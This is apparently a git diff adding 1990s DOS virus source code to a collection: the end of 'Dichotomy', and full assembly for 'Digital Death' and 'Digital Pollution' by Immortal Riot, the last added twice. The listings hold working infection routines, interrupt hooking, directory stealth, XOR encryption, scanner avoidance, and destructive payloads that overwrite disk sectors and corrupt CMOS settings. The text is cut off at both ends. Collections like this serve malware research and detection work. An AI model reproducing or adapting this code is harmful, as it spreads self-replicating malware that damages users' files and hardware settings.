62? + je cant_fix ;can't fix this file + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + mov ah, 40h + mov cx, (heap-loader2) + lea dx, [loader2] + int 21h ;copy to end of file + mov ax, 5700h + int 21h ;get file date/time + or cx, 1fh + mov ax, 5701h + int 21h +cant_fix: mov ax, 4301h + pop cx ;get attributes + int 21h ;restore attributes + mov ah, 3eh + int 21h ;close file +restore1: pop cx si di ds ;restore registers + jmp dos21 ;go to dos + +;=====( Interrupt 21h handler )============================================ + +int21: inc ah + cmp ah, 4ch ;execute file + je infect ;infect it + dec ah + cmp ah, 51h ;install check + je install_check + cmp ah, 62h ;request for new host + je _request +dos21: jmp dword ptr cs:[save21] ;call dos +_request: jmp request + +;=====( Installation check )=============================================== + +install_check: + push di si cx ds cs + pop ds ;save registers + mov di, bp ;set up scan registers + sub si, si + mov cx, 5 + repe cmpsw ;scan to see if it is us + jne restore ;no? let dos take care of it + mov bx, -1 ;return code + pop ds ;restore ds + add sp, 6 ;fix stack + iret ;return +restore: pop cx si di ds ;restore registers + jmp dos21 ;go to dos + +;=====( Infection routine )================================================ + +infect: dec ah + call push_all ;save registers + push cs + pop es ;es equals code segment + mov si, dx + lea di, [WhatRun] + mov cx, 40h + rep movsw ;save filename in buffer + mov si, dx ;ds:si equals file name + lea di, [FileName] + mov ax, 4300h + int 21h ;get attributes of file + push cx ;save them + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + mov ax, 3d02h + int 21h ;open file read/write + xchg ax, bx ;put handle in bx + mov ax, 5700h + int 21h ;get file time/date + and cx, 1fh ;get seconds + cmp cx, 1eh ;is 60 or 62? + jae already_inf ;then already infected + lodsb ;get drive letter + dec si ;point to filename again + and al, 5fh ;make it uppercase + cmp al, 'C' ;is it C or higher? + jb _single ;no? we must fully infect it + cmp byte ptr cs:[count], 1 ;have we already done loader 2? + jne do_loader2 ;yes? start doing loader 1s +do_loader1: + call inf_loader1 + jmp done_inf +do_loader2: + call inf_loader2 + jmp done_inf +_single: push si di + mov cx, 40h + rep movsw ;save filename in buffer + pop di si + call inf_loader1 + call inf_loader2 + mov byte ptr cs:[count], 0 +done_inf: mov ah, 3eh + int 21h ;close file +already_inf: + mov ax, 4301h + pop cx ;get attributes + int 21h ;restore attributes + call pop_all ;restore registers + jmp dos21 ;call dos + +;=====( Infect file with loader 1 )======================================== + +inf_loader1: + push si di ds dx cs ;save filename and other stuff + pop ds + mov byte ptr ds:[count], 0 ;do loader 2 from now on + mov ah, 3fh + mov cx, 3 + lea dx, [comfix] + int 21h ;read in first 3 bytes + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + or dx, dx + jnz bad_file + cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big + jae bad_file + mov cx, word ptr ds:[comfix] + cmp cx, 'M'+'Z' + jz bad_file ;can't infect .exe's + sub ax, 3 ;calculate jump + mov word ptr ds:[buffer], ax ;set up jump + mov ah, 40h + mov cx, (loader1_end-Dichotomy) + cwd + int 21h ;copy virus to end of file + mov ax, 4200h + sub cx, cx + cwd + int 21h ;go to beginning of file + mov ah, 40h + mov cx, 3 + lea dx, [buffer-1] + int 21h ;copy jump to beginning + mov ax, 5700h + int 21h ;get file time/date + mov ax, 5701h + or cx, 1eh + and cx, 0fffeh ;set to 60 seconds + int 21h ;set new file time +bad_file: pop dx ds di si + retn + +;=====( Infect file with loader 2 )======================================== + +inf_loader2: + push ds dx ;save file name + mov cx, 40h + rep movsw ;save filename in buffer + push cs + pop ds ;ds needs to be code segment + mov byte ptr ds:[count], 1 ;do loader 1 from now on + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + mov ah, 40h + mov cx, (heap-loader2) + lea dx, [loader2] + int 21h ;copy to end of file + mov ax, 5700h + int 21h ;get file date/time + or cx, 1fh ;set to 62 seconds + mov ax, 5701h + int 21h ;set new file time + pop dx ds ;restore file name + retn ;return to caller + +;=====( Push all registers )=============================================== + +push_all: pop word ptr cs:[p_all] ;save return code + push ax bx cx dx bp si di ds es ;save registers + pushf ;save flags + jmp word ptr cs:[p_all] ;return to caller + +;=====( Pop all registers )================================================ + +pop_all: pop word ptr cs:[p_all] ;save return code + popf ;restore flags + pop es ds di si bp dx cx bx ax ;restore registers + jmp word ptr cs:[p_all] ;return to caller + +;=====( More variables )=================================================== + +virus1 db '[Dichotomy]', 0 ;virus signature + db 0e9h ;jump cs:xxxx +heap: +buffer dw ? ;jump buffer +newDTA db 2bh dup (?) ;replacement disk transfer address +save21 dd ? ;interrupt 21h vector +p_all dw ? ;push/pop return value +count db ? ;infection count +WhatRun db 80h dup (?) +virus_end: +end Dichotomy diff --git a/d/DIGDEATH.ASM b/d/DIGDEATH.ASM new file mode 100755 index 0000000..1baac25 --- /dev/null +++ b/d/DIGDEATH.ASM @@ -0,0 +1,526 @@ +; ------------------------------------------------------------------------------ +; +; - Digital Death - +; Created by Immortal Riot's destructive development team +; (c) 1994 Raver/Immortal Riot +; +;------------------------------------------------------------------------------- +; Memory Resident Stealth Infector of COM/EXE programs +;------------------------------------------------------------------------------- +; ----------- +; DIGITAL DEATH - ver 0.90 +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + + +; ----------- +; Non-resident Install code +; ----------- + +start_of_virus: + call get_delta +get_delta: ;get the delta offset + mov di,sp + mov bp,word ptr ss:[di] + sub bp,offset get_delta + + push cs + pop ds + + call encrypt_decrypt ;decrypt virus + +; ----------- +; Start of encrypted area +; ----------- + +install_code: + + mov ax,es ;restore segments now due to prefetch!! + add ax,10h + add word ptr cs:[bp+EXEret+2],ax + add word ptr cs:[bp+EXEstack],ax + + push es + + mov ax,7979h ;check if already in mem + int 21h + cmp ax,'iR' + je already_resident + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vector for int21h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw + + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + + push cs + push cs + pop es + pop ds + + cmp byte ptr [bp+COMflag],1 ;check if COM or EXE + jne exit_EXE + +exit_COM: ;exit procedure for COMs + mov di,100h + lea si,[bp+COMret] + mov cx,3 + rep movsb ;restore first three bytes + + pop es ;and jmp to beginning + mov ax,100h + jmp ax + +exit_EXE: ;exit procedure for EXEs + pop es + mov ax,es ;restore segment regs and ss:sp + mov ds,ax + cli + mov ss,word ptr cs:[bp+EXEstack] + mov sp,word ptr cs:[bp+EXEstack+2] + sti + +db 0eah ;and jmp to cs:ip +EXEret db 0,0,0,0 +EXEstack dd 0 + +; ----------- +; New int 21h handler +; ----------- + +new_int21h: + + cmp ax,7979h ;return installation check + jne continue + mov ax,'iR' + iret +continue: + cmp ax,4b00h ;check for exec? + jne check_dir + jmp infect +check_dir: + cmp ah,11h ;if dir function 11h, 12h + je hide_dir + cmp ah,12h + je hide_dir + cmp ah,4eh ;or function 4eh, 4fh + je hide_dir2 + cmp ah,4fh + je hide_dir2 ;do some dir stealth + cmp ah,3eh ;check for close + jne do_oldint + jmp infect_close +do_oldint: + jmp do_oldint21h ;else do original int 21h + +; ----------- +; Dir stealth routines +; ----------- + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call sucessfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP ok?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size + ja hide_it + cmp word ptr es:[bx+1fh],0 ;it can't be infected + je no_stealth ;so don't hide it +hide_it: + sub word ptr es:[bx+1dh],vir_size ;else sub vir_size + sbb word ptr es:[bx+1fh],0 +no_stealth: +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret ;return to program + +hide_dir2: + pushf ;simulate a int call - push flags, cs and + push cs ;ip on stack and jump to int handler + call do_oldint21h + jc eofs ;if no more files - return + + push ax es bx ;preserve registers + mov ah,2fh ;get DTA-area + int 21h + + mov ax,es:[bx+16h] + and ax,1fh ;is the PSP ok?? + xor al,29 + jnz not_inf ; if not - jmp + + cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files + ja sub_it + cmp word ptr es:[bx+1ch],0 + je not_inf +sub_it: + sub word ptr es:[bx+1ah],vir_size ;sub vir_size + sbb word ptr es:[bx+1ch],0 +not_inf: + pop bx es ax ;restore registers +eofs: + retf 2 ;return and pop 2 of stack + + +; ----------- +; Infect on close routine +; ----------- + +infect_close: + push es bp ax bx cx si di ds dx + cmp bx,4 ;don't close NULL, AUX and so + jbe no_close + + call check_name ;es:di points to file name + add di,8 ;es:di points to extension + cmp word ptr es:[di],'OC' + jne try_again + cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect + je close_infection +try_again: + cmp word ptr es:[di],'XE' + jne no_close + cmp byte ptr es:[di+2],'E' + je close_infection + +no_close: + pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint + jmp do_oldint21h + +close_infection: + mov byte ptr es:[di-26h],2 ;mark read & write access + mov cs:Closeflag,1 ;raise closeflag for exit procedure + mov ax,4200h ;rewind file + xor cx,cx + cwd + int 21h + jmp infect_on_close ;infect it + + +; ----------- +; Determine file name for open handle +; ----------- + +check_name: + push bx + mov ax,1220h ;get job file table for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + + add di,20h ;es:di+20h points to file name + + ret ;return + +; ----------- +; Infection routine +; ----------- + +infect: + + push es bp ax bx cx si di ds dx + + mov cs:Closeflag,0 ;make sure closeflag is off + + mov ax,4300h ;get attrib + int 21h + push cx + mov ax,4301h ;and clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + int 21h + xchg ax,bx + +infect_on_close: ;entry point if infection at close + + push cs + push cs + pop ds + pop es + + mov ax,5700h ;save and check time/date stamp + int 21h + push dx + push cx + and cl,1fh + xor cl,1dh + jne read_it + jmp skip_infect + +read_it: + mov ah,3fh ;read first 18h bytes + mov cx,18h + mov dx,offset EXEheader ;to EXEheader + int 21h + + mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag + cmp word ptr EXEheader,'ZM' + je is_EXE + cmp word ptr EXEheader,'MZ' + je is_EXE + mov byte ptr COMflag,1 + +is_EXE: + mov ax,4202h ;goto end of file + xor cx,cx + cwd + int 21h + + push ax ;else save ax and infect EXE + push es + call check_name + + cmp COMflag,1 ;if COM file continue to infect_COM + je infect_COM + +infect_EXE: + cmp word ptr es:[di],'CS' ;check for common virus scanners + je is_scanner + cmp word ptr es:[di],'BT' + je is_scanner + cmp word ptr es:[di],'-F' + je is_scanner + cmp word ptr es:[di],'OT' + je is_scanner + cmp word ptr es:[di],'IV' + jne no_scanner +is_scanner: + pop es + jmp skip_infect +no_scanner: + pop es + + + mov di,offset EXEret ;EXEret = IP/CS + mov si,offset EXEheader+14h + mov cx,2 + rep movsw + + mov si,offset EXEheader+0eh ;EXEstack = SS/SP + mov cx,2 + rep movsw + + pop ax ;restore ax and + + mov cx,10h + div cx + sub ax,word ptr [EXEheader+8h] + mov word ptr [EXEheader+14h],dx ;calculate CS:IP + mov word ptr [EXEheader+16h],ax + add ax,100 + mov word ptr [EXEheader+0eh],ax ;SS:SP + mov word ptr [EXEheader+10h],100h + jmp short more_infection + +infect_COM: + + cmp word ptr es:[di],'OC' ;dont infect command.com! + pop es + pop ax + jne no_command_com + jmp skip_infect + +no_command_com: + mov di,offset COMret ;transfer first three bytes + mov si,offset EXEheader ;could remove this and transfer + mov cx,3 ;directly from EXEheader instead + rep movsb ;doing so will save approximately 20 bytes + + sub ax,3 ;subtract three from file length + mov byte ptr [EXEheader],0e9h ;and build initial jump + mov word ptr [EXEheader+1],ax + +more_infection: + + mov ah,2ch ;get random number from time + int 21h + mov word ptr ds:[enc_val],dx ;store it + mov ax,08d00h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp + call encrypt_decrypt ;and encrypt + + + mov ah,40h ;write it to file + mov cx,vir_size + mov dx,offset start_of_virus + int 21h + + push cs + pop ds + + cmp byte ptr COMflag,0 ;if COM file skip the next part + jne goto_start + + mov ax,4202h ;go to end of file + xor cx,cx + cwd + int 21h + + mov cx,512 ;recalculate new file length in 512- + div cx ;byte pages + inc ax + mov word ptr [EXEheader+2],dx + mov word ptr [EXEheader+4],ax + +goto_start: + mov ax,4200h ;go to beginning of file + xor cx,cx + cwd + int 21h + + cmp byte ptr [COMflag],1 ;if COM-file write first three bytes + je write_3 + mov cx,18h ;else write whole EXE header + jmp short write_18h +write_3: + mov cx,3 +write_18h: + mov dx,offset EXEheader + mov ah,40h + int 21h + +skip_infect: ;restore time/date and mark infected + mov ax,5701h + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + + cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file + je dont_close + mov ah,3eh + int 21h + pop cx +dont_close: + pop dx + pop ds + cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib + je exit_close + mov ax,4301h + int 21h +exit_close: + mov byte ptr cs:Closeflag,0 ;unmark infection on close + + pop di si cx bx ax bp es + +do_oldint21h: ;jump to old int21h +db 0eah +OldInt21h dd 0 + +Closeflag db 0 +COMflag db 1 +COMret db 0cdh,20h,00h +EXEheader db 18h dup(0) +signature db "Digital Death - v0.90 (c) '94 Raver/Immortal Riot" + +end_of_encryption: + +; ----------- +; End of encryption - the code below this point is unencrypted +; ----------- + +enc_val dw 0 ;value to en/decrypt with + +encrypt_decrypt: + mov dx,word ptr ds:[bp+enc_val] + lea si,[bp+install_code] + mov cx,(end_of_encryption-install_code)/2 +loopy: + xor word ptr ds:[si],dx ;simple ordinary xor-loop + inc si ;encryption + inc si + loop loopy + ret + +; ----------- +; End of virus +; ----------- + +end_of_virus: +cseg ends + end start_of_virus + diff --git a/d/DIGIPOL.ASM b/d/DIGIPOL.ASM new file mode 100755 index 0000000..c9a4a3a --- /dev/null +++ b/d/DIGIPOL.ASM @@ -0,0 +1,513 @@ +; VirusName : Digital Pollution +; Origin : Sweden +; Author : Raver +; Group : Immortal Riot +; Date : 25/07/94 + +; It's been a while since I released my last virus but here's a new one +; anyway. +; +; It's a pretty simple resident non-overwriting .com-infector with +; basic stealth function. Of course it restores time/date/attrib +; and stuff like that. It hooks int 21h and infects on execute +; and open (4b00h/3dh). If a "dir" command is executed it will hide +; the new filesize of infected size by hooking 11h/12h (Find first/next +; the FCB way). The comments is, I think, pretty OK and easy to follow. +; +; As we have started to make out viruses a bit more destructive I've +; included some nuking routines. The virus hooks int 25h (read sector) +; at install and every time it's called there is a 3 % chance that it +; will execute a int 26h instead (write sector). It also includes a +; routine to change the CMOS values for the HD/floppy. Every time an +; infected file is executed it's 2 % chance that this will be activated +; and if so the HD will be set to 20MB and the floppy to 360kb. +; Though this can easily be restored it can cause the novice to do +; some unpredictable things before he really detects the real error. +; (like formating floppys or HD or call his hardware vendor :) +; Also if it's the swedish national day (06/06) it will play some of +; the swedish national antheme. It's completely undestructive but +; what the phuck, it could be fun. + +; At last some credits to Macaroni Ted 'cause I've borrowed the +; play_song routine from his CyberCide Virus. + + +; ----------- +; DIGITAL POLLUTION +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + +start_of_virus: + jmp entry_point + +; ----------- +; Install code +; ----------- +install: + + mov ax,7777h ;check if we're already in mem + int 21h + cmp ax,'iR' ;if so - jmp already_resident + je already_resident + + mov ah,2ah ;get data + int 21h + cmp dx,0606h ;if it's Sweden's national day + jne dont_play ;play the national antheme + call play_song +dont_play: + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vectors for 21, 25 & 26h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + mov al,25h + int 21h + mov word ptr ds:[old_int25h],bx + mov word ptr ds:[old_int25h+2],es + + inc al + int 26h + mov word ptr ds:[int26h],bx + mov word ptr ds:[int26h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw ;this way keeps the original offsets + ;in the int handler + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + mov di,100h ;restore the 3 first bytes to it's + push cs ;original position + push cs + pop es + pop ds + lea si,[bp+orgbuf] + mov cx,3 + rep movsb + + mov ah,2ch ;get time + int 21h + cmp dl,1 ;about 2% chance of a CMOS nuke + ja exit + call screw_cmos +exit: + mov ax,100h ;return control to original program + jmp ax ;at cs:100h + +orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes +newbuf db 0e9h,00h,00h ;buffer to calculate a new entry + ;offset + +; ----------- +; new interrupt 21h handler +; ----------- +new_int21h: + + cmp ax,7777h ;is it residency check?? + jne continue + mov ax,'iR' ;if so return 'iR' + iret +continue: + cmp ax,4b00h ;check for exec + je infect +check_open: + cmp ah,3dh ;check for open + jne check_dir + jmp check_com ;if si check if .com file +check_dir: + cmp ah,11h ;is it a dir call?? + je hide_dir ;then do some FCB stealth + cmp ah,12h + je hide_dir + jmp do_oldint21h + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - Get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP OK?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size + sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from +no_stealth: ;dir entry +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret + + +infect: ;.com file infection routine + push es bp ax bx cx si di ds dx ;preserve registers in use + + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + pushf ;we can't have a standard int 21h + push cs ;call here as we would get caught + call do_oldint21h ;in a infinite loop at open calls + + xchg ax,bx ;bx = file handle + + push cs + pop ds + + mov ax,5700h ;get time/date + int 21h + push dx ;push date/time for later use + push cx + and cl,1fh ;check if infected (if seconds is 29) + xor cl,1dh + je skip_infect + + mov ah,3fh ;read three bytes + mov cx,3 + mov dx,offset ds:orgbuf + int 21h + + + cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file + je skip_infect + cmp word ptr ds:orgbuf,'MZ' + je skip_infect ;if so - don't infect + + + mov ax,4202h ;go eof + xor cx,cx + cwd + int 21h + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newbuf[1],ax ;move it to newbuf + + mov ah,2ch ;get random number and put enc_val + int 21h + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt_decrypt + + + + mov ah,40h ;write virus to file from position + mov cx,end_of_virus-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs + pop ds + + mov ax,4200h ;go sof + xor cx,cx + cwd + int 21h + + mov ah,40h ;write 3 start bytes + mov cx,3 + mov dx,offset newbuf + int 21h + +skip_infect: + mov ax,5701h ;restore time/date and mark it infected + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + +;skip_infect: + mov ah,3eh ;close the file + int 21h + + pop cx ;get old attrib in cx + pop dx + pop ds + mov ax,4301h ;and put it right + int 21h + + pop di si cx bx ax bp es ;restore registers + +do_oldint21h: +db 0eah ;jmp to original int21h handler +OldInt21h dd 0 + +check_com: ;routine to check if a file has the + push di es cx ax ;extension .com + push ds + pop es + mov cx,64 + mov di,dx + mov al,'.' + repne scasb ;search for the '.' location + + pop ax cx es + + cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM + jne break + cmp byte ptr ds:[di+2],'M' + jne break + pop di + jmp infect ;if the match - infect the file +break: + pop di + jmp short do_oldint21h + + +; ----------- +; new interrupt 25h handler +; ----------- +new_int25h: + + push dx + cmp al,2 ;check for c: and above + jb do_int25h + push cx ax + + mov ah,2ch ;get random number + int 21h + pop ax cx + cmp dl,2 ;3% chance of a int 26 nuke + ja do_int25h + +trash: + pop dx +db 0eah ;trash cx # of sectors by jumping +int26h dd 0 ;to int26h handler + +do_int25h: + pop dx +db 0eah ;lucky victim - a standard int25h call +old_int25h dd 0 + + +; ----------- +; CMOS nuking routine +; +; This routine changes the floppy alternative in CMOS to a 360kb floppy +; or the hd to a 20 MB +; ----------- +screw_cmos: + + or dl,dl ;if dl = 0 nuke CMOS floppy + jne floppy + mov cl,19h ;else nuke CMOS hd + jmp short get_crc +floppy: + mov cl,10h + +get_crc: ;get CMOS crc checksum + mov ax,2eh ;get most significant byte + out 70h,al ;and store in dh + in al,71h + xchg dh,al + mov al,2fh ;get least significant byte + out 70h,al ;and store in dl + in al,71h + xchg dl,al ;dx holds crc checksum + + mov al,cl ;cl = function (10h=floopy, 19h=hd) + out 70h,al + in al,71h ;get current value in al + sub dx,ax ;and subtract from checksum + add dx,10h ;add new value to checksum + + mov al,cl + out 70h,al + mov al,10h + out 71h,al ;put new value in CMOS + + mov al,2eh ;put back new crc checksum + out 70h,al + xchg dh,al + out 71h,al ;least signigicant byte + mov al,2fh + out 70h,al + xchg dl,al + out 71h,al ;most significant byte + + ret ;done! + + +; ----------- +; Swedish national anthem routine +; ----------- +play_song: + + lea si,[bp+tune] +next_note: ;loop through the tune at ds:si + lodsw ;until ds:si = 0 + or ax,ax + je eot + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al + + lodsw + mov cx,ax +delay: + push cx + mov cx,2700 + loop $ + pop cx + loop delay + + out 61h,al + + jmp next_note +eot: + xor al,al ;kill the sound + out 61h,al + + ret + +tune dw 370,600 ;data for the tune + dw 370,1200 + dw 294,600 + dw 294,600 + dw 294,1200 + dw 330,600 + dw 370,600 + dw 370,1200 + dw 330,600 + dw 294,600 + dw 277,1800 + dw 330,600 + dw 330,1200 + dw 277,600 + dw 294,600 + dw 330,600 + dw 277,600 + dw 370,600 + dw 294,600 + dw 247,2400 + dw 220,1200 + dw 0 + +dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note + + +; ----------- +; En/de-cryption routine and entry point - unencrypted code +; ----------- +encrypt_decrypt: + mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax + lea di,[bp+install] ;di points to start of crypt + mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc. +xor_loopy: + xor word ptr ds:[di],ax ;a simple xor loop to fullfill + inc di ;the task + inc di + loop xor_loopy + ret +enc_val dw 0 + + +entry_point: + mov sp,102h ;some alternative way to pop + call get_bp ;we don't want TBAV to flag +get_bp: ;a flexible entry point + mov bp,word ptr ds:[100h] + mov sp,0fffeh + sub bp,offset get_bp + + call encrypt_decrypt ;decrypt the virus + jmp install ;jmp to install code + +end_of_virus: + +; ----------- +; end of virus +; ----------- +cseg ends + + end start_of_virus \ No newline at end of file diff --git a/d/DIGPOL.ASM b/d/DIGPOL.ASM new file mode 100755 index 0000000..c9a4a3a --- /dev/null +++ b/d/DIGPOL.ASM @@ -0,0 +1,513 @@ +; VirusName : Digital Pollution +; Origin : Sweden +; Author : Raver +; Group : Immortal Riot +; Date : 25/07/94 + +; It's been a while since I released my last virus but here's a new one +; anyway. +; +; It's a pretty simple resident non-overwriting .com-infector with +; basic stealth function. Of course it restores time/date/attrib +; and stuff like that. It hooks int 21h and infects on execute +; and open (4b00h/3dh). If a "dir" command is executed it will hide +; the new filesize of infected size by hooking 11h/12h (Find first/next +; the FCB way). The comments is, I think, pretty OK and easy to follow. +; +; As we have started to make out viruses a bit more destructive I've +; included some nuking routines. The virus hooks int 25h (read sector) +; at install and every time it's called there is a 3 % chance that it +; will execute a int 26h instead (write sector). It also includes a +; routine to change the CMOS values for the HD/floppy. Every time an +; infected file is executed it's 2 % chance that this will be activated +; and if so the HD will be set to 20MB and the floppy to 360kb. +; Though this can easily be restored it can cause the novice to do +; some unpredictable things before he really detects the real error. +; (like formating floppys or HD or call his hardware vendor :) +; Also if it's the swedish national day (06/06) it will play some of +; the swedish national antheme. It's completely undestructive but +; what the phuck, it could be fun. + +; At last some credits to Macaroni Ted 'cause I've borrowed the +; play_song routine from his CyberCide Virus. + + +; ----------- +; DIGITAL POLLUTION +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + +start_of_virus: + jmp entry_point + +; ----------- +; Install code +; ----------- +install: + + mov ax,7777h ;check if we're already in mem + int 21h + cmp ax,'iR' ;if so - jmp already_resident + je already_resident + + mov ah,2ah ;get data + int 21h + cmp dx,0606h ;if it's Sweden's national day + jne dont_play ;play the national antheme + call play_song +dont_play: + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vectors for 21, 25 & 26h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + mov al,25h + int 21h + mov word ptr ds:[old_int25h],bx + mov word ptr ds:[old_int25h+2],es + + inc al + int 26h + mov word ptr ds:[int26h],bx + mov word ptr ds:[int26h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw ;this way keeps the original offsets + ;in the int handler + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + mov di,100h ;restore the 3 first bytes to it's + push cs ;original position + push cs + pop es + pop ds + lea si,[bp+orgbuf] + mov cx,3 + rep movsb + + mov ah,2ch ;get time + int 21h + cmp dl,1 ;about 2% chance of a CMOS nuke + ja exit + call screw_cmos +exit: + mov ax,100h ;return control to original program + jmp ax ;at cs:100h + +orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes +newbuf db 0e9h,00h,00h ;buffer to calculate a new entry + ;offset + +; ----------- +; new interrupt 21h handler +; ----------- +new_int21h: + + cmp ax,7777h ;is it residency check?? + jne continue + mov ax,'iR' ;if so return 'iR' + iret +continue: + cmp ax,4b00h ;check for exec + je infect +check_open: + cmp ah,3dh ;check for open + jne check_dir + jmp check_com ;if si check if .com file +check_dir: + cmp ah,11h ;is it a dir call?? + je hide_dir ;then do some FCB stealth + cmp ah,12h + je hide_dir + jmp do_oldint21h + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - Get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP OK?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov 